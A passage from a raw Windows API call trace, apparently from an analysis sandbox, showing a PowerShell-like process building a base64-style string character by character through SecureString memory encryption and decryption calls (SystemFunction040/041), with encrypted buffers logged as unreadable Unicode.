(param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓뺷퍭鳠鬿툛㰻槀ᝳ믕䪃쨢⤌廛舄ᷢ笗嫕༟ꁵ꣄휔量쟒⊋) returned 0x30 [0249.879] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓뺷퍭鳠鬿툛㰻槀ᝳ믕䪃쨢⤌廛舄ᷢ笗嫕༟ꁵ꣄휔量쟒⊋) returned 0x30 [0249.879] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0249.879] SysStringLen (param_1="OZvaJiwzL+1VYO5nPf2cufB9xSo2GpphAKGZNldEcH唣똄僆눡釱\⋚) returned 0x30 [0249.879] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0249.879] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓뺷퍭鳠鬿툛㰻槀ᝳ믕䪃쨢⤌廛舄ᷢ茗ṷֳ釿蝜몱⚾⅃≜) returned 0x30 [0249.879] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓뺷퍭鳠鬿툛㰻槀ᝳ믕䪃쨢⤌廛舄ᷢ茗ṷֳ釿蝜몱⚾⅃≜) returned 0x30 [0249.879] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0249.880] SysStringLen (param_1="OZvaJiwzL+1VYO5nPf2cufB9xSo2GpphAKGZNldEcHg똄僆눡釱\⋚) returned 0x30 [0249.880] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0249.880] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓뺷퍭鳠鬿툛㰻槀ᝳ믕䪃쨢⤌廛舄ᷢ쐗퐲赱﷡槵읆朻≶) returned 0x30 [0249.880] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓뺷퍭鳠鬿툛㰻槀ᝳ믕䪃쨢⤌廛舄ᷢ쐗퐲赱﷡槵읆朻≶) returned 0x30 [0249.880] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0249.880] SysStringLen (param_1="OZvaJiwzL+1VYO5nPf2cufB9xSo2GpphAKGZNldEcHg=僆눡釱\⋚) returned 0x30 [0249.880] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0249.880] EtwEventActivityIdControl () returned 0x0 [0249.881] EtwEventActivityIdControl () returned 0x0 [0249.881] EtwEventActivityIdControl () returned 0x0 [0249.881] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.882] EtwEventActivityIdControl () returned 0x0 [0249.882] EtwEventActivityIdControl () returned 0x0 [0249.882] EtwEventActivityIdControl () returned 0x0 [0249.883] SysStringLen (param_1="") returned 0x8 [0249.883] SysStringLen (param_1="N") returned 0x8 [0249.883] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.883] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0249.883] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0249.883] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.883] SysStringLen (param_1="ND") returned 0x8 [0249.883] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.884] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0249.884] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0249.884] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.884] SysStringLen (param_1="NDZ") returned 0x8 [0249.884] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.884] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0249.884] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0249.884] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.884] SysStringLen (param_1="NDZl") returned 0x8 [0249.884] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.885] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0249.885] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0249.885] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.885] SysStringLen (param_1="NDZlO") returned 0x8 [0249.885] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.885] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0249.885] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0249.885] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.885] SysStringLen (param_1="NDZlOD") returned 0x8 [0249.885] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.886] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0249.886] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0249.887] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.888] SysStringLen (param_1="NDZlODR") returned 0x8 [0249.888] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.888] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0249.888] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0249.888] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.888] SysStringLen (param_1="NDZlODRm") returned 0x8 [0249.888] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.888] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0249.889] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0249.889] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0249.889] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0249.890] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.890] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0249.890] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.890] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0249.890] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0249.890] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.890] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0249.890] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.890] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0249.891] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0249.891] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.910] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0249.910] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.910] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0249.910] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0249.910] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.911] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0249.911] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.911] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0249.911] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0249.911] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.911] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0249.911] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.911] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0249.911] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0249.911] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.912] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0249.912] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.912] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0249.912] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0249.912] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.912] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0249.912] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.912] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0249.912] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0249.912] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.913] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0249.913] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.913] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0249.913] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0249.913] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0249.914] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0249.914] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.914] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0249.914] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.914] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0249.914] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0249.914] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.915] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0249.915] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.915] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0249.915] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0249.915] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.915] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0249.915] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.915] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0249.915] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0249.915] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.916] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0249.916] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.916] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0249.916] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0249.916] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.916] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0249.916] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.916] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0249.916] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0249.916] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.917] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0249.917] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.917] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0249.917] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0249.917] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.966] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0249.966] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.966] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0249.966] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0249.966] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.966] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0249.966] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.966] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0249.966] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0249.966] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0249.967] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0249.967] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.967] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0249.967] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.967] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0249.967] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0249.967] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.968] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0249.968] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.968] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0249.968] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0249.968] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.968] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0249.968] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.968] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0249.968] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0249.968] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.968] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0249.968] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.968] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0249.968] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0249.968] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.969] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0249.969] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.969] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0249.969] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0249.969] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.969] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0249.969] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.969] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0249.969] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0249.969] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.969] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0249.969] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.969] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0249.969] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0249.969] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.970] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0249.970] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.970] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0249.970] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0249.970] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0249.970] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0249.970] SystemFunction041 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.971] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0249.971] SystemFunction040 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.971] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0249.971] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0249.971] SystemFunction041 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.971] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0249.971] SystemFunction040 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.971] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0249.971] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0249.971] SystemFunction041 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.971] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0249.971] SystemFunction040 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.971] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0249.971] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0249.971] SystemFunction041 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.972] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0249.972] SystemFunction040 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.972] SysStringLen 